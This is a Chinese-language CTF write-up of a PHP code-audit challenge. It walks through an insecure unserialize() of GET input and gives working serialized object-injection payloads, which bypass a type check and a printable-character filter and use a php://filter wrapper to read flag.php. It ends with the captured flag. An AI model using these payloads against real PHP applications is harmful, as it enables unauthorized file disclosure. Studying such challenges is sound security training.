这是一个代码审计题:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
分成3块,一块是定义FileHandler
的类,一块是is_valid
函数,最后一块是GET传值。
先讲最后一块函数。
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
先GET接收一个str参数,然后利用is_valid
函数检测,检测不通过直接报错,检测通过直接进行反序列化。
然后是is_valid
函数:
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
其实就是将传入的参数循环一遍,要求ASCII码在32–125之间。
最后是反序列化,这里需要研究一下FileHandler
类。
__destruct
魔术方法在对象销毁时执行,__construct()
魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()
方法。
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
在这里如果op==='2'
则会覆盖为'1'
,然后content被置空,并进入process
。在process
我们需要调用read()
函数,所以需要让op=2
。而这里是强等号,所以传入op=2
即可,2是整形,'2’是字符型,2==='2'
==>False
。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
在这里调用read()
函数,并在output()
函数中进行输出。
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
这里利用file_get_contents()
函数对文件进行读取,可以利用php:filter
伪协议进行读取。于是将filename
置为php://filter/read=convert.base64-encode/resource=flag.php
。这个结果会在前段直接展示,如果不用伪协议读取的话,在源码
所以payload构造为:
<?php
class FileHandler {
protected $op = 2;
protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
protected $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}
?>
传入后发现:
不行的原因是private和protect类型在序列化的时候会生成%00
,不能通过is_valid
函数的检验。
在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:
<?php
class FileHandler {
public $op = 2;
public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
public $content;
}
echo serialize(new FileHandler);
?>
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
如果不用php伪协议的话,payload:
<?php
class FileHandler {
public $op = 2;
public $filename = 'flag.php';
public $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
?>
可以直接在源码页查看到flag
flag{e7240887-bc89-4f16-95f6-8f71e6f96b85}